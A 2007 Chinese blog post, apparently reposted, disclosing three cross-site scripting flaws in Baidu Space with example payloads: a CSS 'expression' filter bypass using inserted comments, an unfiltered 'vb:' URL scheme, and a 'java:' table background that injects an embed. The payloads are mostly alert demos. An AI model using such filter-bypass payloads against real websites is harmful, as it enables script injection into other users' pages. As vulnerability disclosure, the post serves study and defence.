2007---永远的离别---暂时
siyidao
-
2007-02-23
百度空间07年三个跨站漏洞 - [呜呜噎噎]
版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
一、
http://siyidao.52blog.net/logs/2287449.html
# discover by Monyer
漏洞成因:百度虽然对于插入的html标签的属性进行过滤,包括style(层叠样式表),但是并没有对混淆在样式中的注释部分进行位置检查。造成可以通过在expression中插入注释,譬如:expr/*XSS*/ession,并以此方式绕过百度的过滤系统。但是由于在IE运行时会忽略掉注释内容,使得XSS代码得以正常运行,跨站即产生
示例:<img STYLE="xss:expr/*XSS*/ession(alert("XSS"))">
<div STYLE="xss:expr/*XSS*/ession(this.innerHTML="<h1> monyer</h1>")"></div>
---------------------------------------------------------------------------------------------------------------------------------------------
二、
# discover by Monyer
漏洞成因:虽然百度空间费劲心思过滤了java,过滤了expression,过滤了等等的一些触发事件。可是它忽略了过滤vb,因此造成了一个非常严重的跨站漏洞的出现
示例:<img src="vb:msgbox("xss")" />
<img src="vb:msgbox()" />
---------------------------------------------------------------------------------------------------------------------------------------------
三、
# discover by Monyer
漏洞成因:我们知道对于backgroud样式属性是需要嵌套url才能引用XSS代码的,如果直接把代码写进backgroud是不能运行的,因为缺少了一个触发机制。而table标签会自动加载内部内容——相当与eval。(如果你上一个比较慢的空间,并且整个空间只有一个table,那么你会发现直到整个table数据全部下载到本地才能显示网页内容,原因即是如此)
示例:<table><tr><td background="java:alert(/xss/)"></tr></table>
<table >
<tr >
<td background="java:TheId.innerHTML=%22<embed src=\'URL\' height width >%22" >sth or noting</td >
</tr >
</table >
收藏到:Del.icio.us





